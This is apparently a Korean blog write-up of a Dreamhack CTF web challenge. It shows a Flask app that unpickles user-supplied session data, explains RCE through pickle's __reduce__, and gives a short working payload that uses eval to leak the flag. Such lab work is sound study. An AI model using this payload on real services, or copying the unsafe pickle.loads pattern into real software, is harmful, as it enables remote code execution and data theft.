코드를 보면 몇줄 안된다.
#!/usr/bin/env python3
from flask import Flask, request, render_template, redirect
import os, pickle, base64
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open('./flag.txt', 'r').read() # Flag is here!!
except:
FLAG = '[**FLAG**]'
INFO = ['name', 'userid', 'password']
@app.route('/')
def index():
return render_template('index.html')
@app.route('/create_session', methods=['GET', 'POST'])
def create_session():
if request.method == 'GET':
return render_template('create_session.html')
elif request.method == 'POST':
info = {}
for _ in INFO:
info[_] = request.form.get(_, '')
data = base64.b64encode(pickle.dumps(info)).decode('utf8')
return render_template('create_session.html', data=data)
@app.route('/check_session', methods=['GET', 'POST'])
def check_session():
if request.method == 'GET':
return render_template('check_session.html')
elif request.method == 'POST':
session = request.form.get('session', '')
info = pickle.loads(base64.b64decode(session))
return render_template('check_session.html', info=info)
app.run(host='0.0.0.0', port=8000)
python pickle에 대해 찾아 보니 역직렬화 과정에서 RCE가 가능한 취약점이 있다. pickle이 dumps를 할때 __reduce__함수를 통해 객체를 어떻게 저장하고 복원할지를 결정한다. 근데 이 때 __reduce__는 우리가 재정의가 가능하다.
__reduce__의 사용법을 보면
인자는 안 받고 오직 return 값만 있다. 이때 반환값은 튜플이어야 하며, 튜플에서 첫 번째 인자값은 객체의 초기 상태를 결정할 클래스, 두 번째 인자는 해당 클래스에 대한 파라미터들 이다.(이 또한 튜플로 넘겨야한다.)
pickle은 객체를 복원(loads)할 때 __reduce__함수의 리턴 값들을 사용한다 (지씨 말로는 리턴값의 생성자를 호출하여 객체를 복원한다고 한다. 때문에 eval함수 쓰면 그대로 값이 반환되는 듯 싶다.). 이때 임의 코드가 실행이 되는 것이다.
FLAG를 가져오는 방법은 크게 두 가지가 있다.
1. RCE를 통해 nc나 다른 명령어를 이용하여 내 서버에 flag.txt를 전달한다.
2. 객체 역직렬화 시 FLAG 변수가 웹에 포함되도록 한다.
2번을 이용한 풀이👇
import pickle
import base64
class Exploit():
def __reduce__(self):
return (__builtins__.eval, ("{'name': FLAG}", ))
print(base64.b64encode(pickle.dumps(Exploit())).decode('utf8'))
위 코드를 실행시켜 나온 base64 인코딩된 값을 전달한다.
이 문제를 통해 python의 class 사용법, 내장 class 종류 등등에 익숙해지게 된 것 같다. 좋은 문제다!
'Web Hacking > Dreamhack' 카테고리의 다른 글
[Dreamhack] baby-sqlite write up (0) | 2024.04.22 |
---|---|
[Dreamhack] chocoshop write up (2) | 2024.04.20 |
[Dreamhack] login-1 write up (0) | 2024.04.14 |
[Dreamhack] what-is-my-ip write up (1) | 2024.04.13 |
[Dreamhack] out of money write up (0) | 2024.04.12 |